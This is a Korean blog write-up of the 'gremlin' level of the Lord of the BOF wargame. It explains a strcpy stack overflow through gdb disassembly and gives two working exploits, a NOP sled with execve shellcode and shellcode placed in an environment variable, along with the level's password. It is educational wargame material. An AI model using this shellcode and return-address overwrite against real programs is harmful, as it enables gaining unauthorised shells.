728x90

먼저 root / hackerschoolbof로 로그인 후 ifconfig로 ip주소를 알아낸다.

xshell이나 putty를 이용해 23번 포트로 연결 후 gate / gate 로 로그인한다. 문제를 풀때 항상 bash2를 입력하고 시작해야한다.

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

gdb로 들여다보려면 gremlin 실행파일을 복사해서 복사한 실행파일을 gdb로 실행해야 한다.

(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec

argv[1]을 buffer에 원하는 만큼 덮어쓸 수 있다. buffer overflow가 가능하다. strcpy 함수의 인자로 buffer가 전달되기에 ebp-256이 buffer의 주소임을 알 수 있다.

두 가지 방식으로 풀었다.

첫 번째 방식

buffer 공간에 ''\x90'과 쉘 코드를 넣어서 최종적으로 '\x90' 중 하나의 주소로 retn 하는 방식으로 해결했다. 이를 NOP Sled 방식이라 하며 쉘 코드의 주소를 정확하게 알지 못해도 공격을 성공할 수 있다. CPU는 '\x90'(NOP)을 만나면 NOP이 아닌 값이 나올 때까지 건너뛴다. 마침내 쉘 코드를 만나면 실행한다. 256 bytes(buffer)+4 bytes(sfp)를 '\x90'*200+"쉘 코드(25 bytes)"+"A"*35로 채우고 이어서 retn 주소를 '\x90' 중 하나의 주소로 설정한다. 위와 같이 값을 넣었을 때 '\x90'의 주소를 알아내기 위해 "A"*260+retn주소 형식으로 실험해 봤다.

argv[1]의 인자값의 길이에 따라 스택의 주소값들이 달라진다. 이 점 때문에 많이 헤맸다.

(gdb) r `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`
Starting program: /home/gate/gremlin2 `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`

Breakpoint 1, 0x8048439 in main ()
(gdb) ni
0x804843d in main ()

Breakpoint 2, 0x804846b in main ()
(gdb) ni
0x804846e in main ()
(gdb) x/70x $ebp-260
0xbffff904:	0xbffffb64	0x41414141	0x41414141	0x41414141
0xbffff914:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff924:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff934:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff944:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff954:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff964:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff974:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff984:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff994:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9a4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9b4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9c4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9d4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9e4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9f4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa04:	0x41414141	0x41414141	0xbffffa6c	0x00000000
0xbffffa14:	0xbffffa54	0xbffffa60

0xbffff974를 retn 주소로 설정하고 아래와 같이 실행하였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*35+"\x74\xf9\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
bash$ my-pass
euid = 501
hello bof world

두 번째 방식

 ftz 문제 풀 때처럼 쉘 코드를 환경 변수로 등록하여 쉘 코드의 주소로 retn 하는 방식이다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
printf("%p\n",getenv("sh"));
}

환경 변수 주소는 0xbffffe99였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x99\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 501
hello bof world

euid 501은 gremlin이다.

gremlin의 비밀번호: hello bof world

`python ~~~` 관련 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21

+ Recent posts